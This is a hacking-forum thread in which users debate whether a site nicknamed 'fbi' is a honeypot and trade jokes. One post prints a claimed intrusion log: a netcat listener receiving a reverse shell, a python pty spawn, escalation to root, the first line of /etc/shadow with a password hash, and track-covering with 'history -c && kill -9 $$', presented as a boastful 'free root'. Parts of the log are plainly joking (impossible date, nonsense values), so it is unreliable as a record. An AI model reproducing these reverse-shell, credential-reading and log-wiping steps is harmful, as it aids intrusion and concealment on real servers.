[Lexica]

I think it is a honey pot TBH. 😑

A honey pot? Zayne and Sky own it lol. I know Zayne uses this forum for sure, I'm not 100% positive about his other friend though.

[Misha the unfortunate]

A honey pot? Zayne and Sky own it lol. I know Zayne uses this forum for sure, I'm not 100% positive about his other friend though.

Pretty sure it's not.
environ is there, but I can't seem to exploit it

[Nigga From Africa]

A honey pot? Zayne and Sky own it lol. I know Zayne uses this forum for sure, I'm not 100% positive about his other friend though.

Sky used to be here.
Then omni got mad or some shiet.

[themastersinner]

Visit this link:
http://pastebin.com/raw.php?i=rtrRXp2z

How it is not a honey pot? 😅

[Misha the unfortunate]

Visit this link:
http://pastebin.com/raw.php?i=rtrRXp2z

How it is not a honey pot? 😅

Are you sure it's not just your cache? o.o
Just redirects me to index.

[Lexica]

Are you sure it's not just your cache? o.o
Just redirects me to index.

Same here, he probably thinks just because it says fbi that it's a honey pot lol. 🤣

[afk0]

It's an in-built feature in the firewall.

[Nigga From Africa]

Are you sure it's not just your cache? o.o
Just redirects me to index.

It worked for me earlier on a device that never visisted that link.
Now it doesnt though.

[Misha the unfortunate]

It worked for me earlier on a device that never visisted that link.
Now it doesnt though.

Device that never visited the link? lol
The one time I went on it, it redirected me to index.

[Nigga From Africa]

Device that never visited the link? lol
The one time I went on it, it redirected me to index.

My phone never visited # and it could see the content.

[Misha the unfortunate]

My phone never visited # and it could see the content.

Well then you must be a special snowflake or something.

[Hooded Robin]

lol you guys, server rooted, thanks for playing :)

[Denitorious]

Try to rap OPs thread, awesome track, bro.

[Misha the unfortunate]

Try to rap OPs thread, awesome track, bro.

Do it and post on vocaroo plis.
Gonna be a fucking hit.

[S‌mug]

They didn't seem to properly patch it, using a few methods I don't really feel like going into details about, I've gathered a few things.

Escaleted privileges from php://input

PHP Code


<?php 
root@nyaa:~# nc -nvlp 99
Listening on [0.0.0.0] (family 0, port 99)
Connection from [fuckoffskids] port 99 [tcp/*] accepted (family 2, sport 51183)
bash: no job control in this shell
www-data@fbi:~# id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@fbi:~# uname -a
Linux # 3.8.13-xxxx-ipv6-64 #3 SMP Fri May 99 xD 13:26:19 CEST 2016 x86_64 x86_64 x86_64 GNU/Linux
www-data@fbi:~# #Just for lulz
www-data@fbi:~# python -c "__import__('os').setgid(LOLISEVERYWHERE);__import__('pty').spawn('/bin/bash');"
------;i------
-----.,if------
-----,tLE,------..:;ji------
----;ittL;------.;;;tjfGj.------
---;tfGDK;------,;;,tLEKKt------:;,---
---ijLDKD.------:;,iLfiiGD;------.,ifj.---
--.;tGKKi------:tjLKWWEj;.------:;jLEE;----
---;iLEL::..:,;tjEW##Wf,------.,;tGKWf-----
---,,;t;,:,,ifi;LKELt:------.;;itiiLD:-----
---:iiLjGLfLGGDEE;------.i:,LKEfji------
--:;;jGfDGKW####KL.------i,,jDKWEt------
--,.ifGGGLEEE###WEt------:tifDEKD;------
--:,;LDGELKKK####KEj.------iLGKELi------
---ijGDEWKW######WDfi;;,,;ii,,,::DELt:------
---,fDKKKW###WK#####EGLLLLLLfft,:ii.------
-----:,,,:;fji;LW#####WKEEEEEEDLji::i;------
------,;GLjjDKKWWWEEEKEEDfjLLLGGDL:------
------,;fGL;;tfLfjjfGDDGftLEKKEDEEf------
------,;;GEt-:tftifGEEEDftLEKKjjLLL------
------;iGKt-iGLGLttK####EGDEEjiEGG;------
------.LEEi;ftff;--,E####LjDEEGGDDD;------
------;EL:jjGLi----,K###t--,ijDKEDDL:------
------jt;DGt:-----.LKKKi------tDEDEt------
------.tjDKf-----.,ifff;------tEDEj------
------:fDEWKi----;;,,ii.------,iLLDt------
------:;ifEKG,------..------,jjj;------
------fttGED------
------.------
# id
uid=0(root) gid=LOLISEVRYWHERE groups=0(root)
# head -n 1 /etc/shadow
root:$6$83TixXP9$SsTlm0ugxQMN/LWi.EmpLrgoL4MkaNWw6X0P2QMrdjwew/t1lr8n.m7bj5cWBgbGFfDlbuurc3h8MtiVDowY20:16379:0:99999:7:::
# exit
www-data@fbi:~# history -c && kill -9 $$
root@nyaa:~# 


Thanks for the share OP, it's fairly easy to achive since they have played with a certian rootkit on their box to achieve root privileges after you gain shell access.
If you aren't completely new to the scene you should figure out how to do this too.

I've basically given out a free root.